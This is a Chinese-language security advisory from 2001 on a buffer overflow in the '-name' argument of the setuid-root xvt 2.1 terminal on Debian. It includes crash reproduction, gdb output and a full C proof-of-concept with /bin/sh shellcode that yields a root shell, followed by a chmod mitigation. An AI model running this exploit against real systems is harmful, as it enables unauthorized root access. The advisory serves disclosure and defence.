发布日期：2001-07-02
更新日期：2001-07-06

受影响系统：

John Bovey xvt 2.1
   - Debian Linux 2.2

描述：

---

BUGTRAQ ID : 2955

xvt是一个适用于使用X11R6的系统的终端仿真软件。它经常被设置了setuid/setgid属性，
通常以较高的权限运行以便记录用户会话。

xvt在处理"-name"参数时存在一个缓冲区溢出问题，如果攻击者提供一个较长的参数，就
可能导致溢出发生，小心构造溢出数据，攻击者可能以xvt运行权限执行任意代码。

在某些系统上，例如debian linux,xvt被设置了setuid root，攻击者就可能获取root权限。

<*来源：Christophe Bailleux (cb@t-online.fr) *>



测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Christophe Bailleux (cb@t-online.fr)提供了如下测试代码：

$ ls -l /usr/bin/X11/xvt
-rwsr-xr-x    1 root     root        50288 Mar 26  2000 /usr/bin/X11/xvt


$ xvt -V
xvt version 2.1

$ xvt -name `perl -e 'print "A"x234'`
Segmentation fault (core dumped)
$

tshaw:~$ gdb --core core
GNU gdb 5.0
<snip>
Core was generated by `xvt -name
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0  0x41414141 in ?? ()
(gdb)

--- expl.c ---

/*

   /usr/bin/X11/xvt overflow proof of concept by cb@t-online.fr.

   tshaw:~$ ./expl
   bash#

*/

#include <stdio.h>
#include <stdlib.h>

int main()

{

    char buf[234];
    int i;

    char code[] =
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";


    for(i=0; i<76; i++)
        buf[i] = 0x41;

    *(long *)&buf[76]=0xbffffab0; /* ret addr */

    memset(buf + 80, 0x90, 234);
    memcpy(buf + 233 - strlen(code), code, strlen(code));

    buf[234] = '\0';

    execl("/usr/bin/X11/xvt", "xvt", "-name", buf, 0);                           

}

--- expl.c ---



建议：

---

解决方法：

暂时去掉xvt的setuid/setgid属性：
# chmod a-s /usr/bin/X11/xvt

厂商补丁：

暂无。


浏览次数：3736
严重程度：0（网友投票）